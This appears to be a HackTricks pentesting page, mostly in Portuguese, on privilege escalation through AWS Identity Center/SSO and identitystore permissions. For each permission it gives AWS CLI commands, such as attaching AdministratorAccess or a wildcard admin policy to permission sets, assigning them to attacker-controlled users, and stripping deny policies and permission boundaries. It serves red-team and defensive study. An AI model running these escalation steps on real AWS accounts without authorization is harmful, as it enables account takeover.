AWS - SSO & identitystore Privesc

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AWS Identity Center / AWS SSO

Para mais informações sobre AWS Identity Center / AWS SSO consulte:

AWS - IAM, Identity Center & SSO Enum

warning

Observe que por padrão, somente usuários com permissões do Management Account poderão acessar e controlar o IAM Identity Center.
Usuários de outras contas só podem fazê-lo se a conta for um Delegated Administrator.
Check the docs for more info.

Reset Password

Uma maneira fácil de escalate privileges em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail do usuário.

identitystore:CreateGroupMembership

Com essa permissão é possível colocar um usuário dentro de um grupo para que ele herde todas as permissões que o grupo possui.

bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões adicionais a um Permission Set que é atribuído a um usuário sob seu controle

bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões extras a um Permission Set que esteja sob o controle de um usuário.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões adicionais a um Permission Set que é concedido a um usuário sob seu controle.

warning

Para abusar dessas permissões neste caso você precisa saber o nome de uma customer managed policy que esteja dentro de TODAS as contas que serão afetadas.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Um atacante com essa permissão poderia atribuir um Permission Set a um usuário sob seu controle em uma conta.

bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Retorna as credenciais STS de curto prazo para um dado nome de role que é atribuído ao usuário.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

No entanto, você precisa de um access token que não sei como obter (TODO).

sso:DetachManagedPolicyFromPermissionSet

Um atacante com essa permissão pode remover a associação de uma AWS managed policy ao permission set especificado. É possível conceder mais privilégios via detaching a managed policy (deny policy).

bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios por meio de desanexar uma política gerenciada (política de negação).

bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Um atacante com esta permissão pode remover as permissões de uma inline policy do permission set. É possível conceder mais privilégios ao desanexar uma inline policy (deny policy).

bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Um atacante com essa permissão pode remover o Permission Boundary do Permission Set. É possível conceder mais privilégios removendo as restrições no Permission Set impostas pelo Permission Boundary.

bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks